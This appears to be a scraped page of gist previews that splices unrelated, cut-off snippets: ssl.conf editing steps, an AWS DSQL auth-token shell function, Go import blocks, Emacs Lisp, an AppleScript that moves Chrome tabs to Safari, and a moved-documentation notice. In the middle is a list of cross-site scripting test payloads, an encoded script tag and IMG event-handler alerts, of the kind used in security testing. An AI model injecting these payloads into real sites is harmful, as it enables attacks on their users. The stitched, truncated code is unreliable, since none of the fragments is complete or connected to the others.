Open ssl.conf
in a text editor.
Edit the domain(s) listed under the [alt_names]
section so that they match the local domain name you want to use for your project, e.g.
DNS.1 = my-project.dev
Additional FQDNs can be added if required:
function dsql { | |
local auth_token | |
auth_token=$(aws dsql generate-db-connect-admin-auth-token \ | |
--region us-east-1 \ | |
--expires-in 3600 \ | |
--hostname CLUSTER_ENDPOINT_URL) || { echo "Failed to generate auth token" >&2; return 1; } | |
if [ -z "$auth_token" ]; then | |
echo "Auth token is empty" >&2 | |
return 1 |
package main | |
import ( | |
"bytes" | |
"fmt" | |
"github.com/nelhage/gojit" | |
"github.com/nelhage/gojit/amd64" | |
) |
;; Taken from here: https://emacs.stackexchange.com/questions/34894/how-to-execute-a-command-on-the-selection-shell-command-on-region-in-evil-mode | |
(defun shell-command-on-region-and-select | |
(start end command | |
&optional output-buffer replace | |
error-buffer display-error-buffer | |
region-noncontiguous-p) | |
"Wrapper for 'shell-command-on-region', re-selecting the output. | |
Useful when called with a selection, so it can be modified in-place" | |
(interactive) |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
// Copyright 2016 Google Inc. All rights reserved. | |
// Use of this source code is governed by the Apache 2.0 | |
// license that can be found in the LICENSE file. | |
// Command caption reads an audio file and outputs the transcript for it. | |
package main | |
import ( | |
"fmt" | |
"io" |
This content from this markdown file has moved a new, happier home where it can serve more people. Please check it out : https://docs.microsoft.com/azure/azure-cache-for-redis/cache-best-practices.
package main | |
import ( | |
"io/ioutil" | |
"log" | |
"strings" | |
"net/http" | |
"encoding/json" | |
"fmt" | |
"time" |
tell application "Google Chrome" | |
set tab_list to every tab in the front window | |
repeat with the_tab in tab_list | |
set the_url to the URL of the_tab | |
tell application "Safari" to open location the_url | |
end repeat | |
end tell |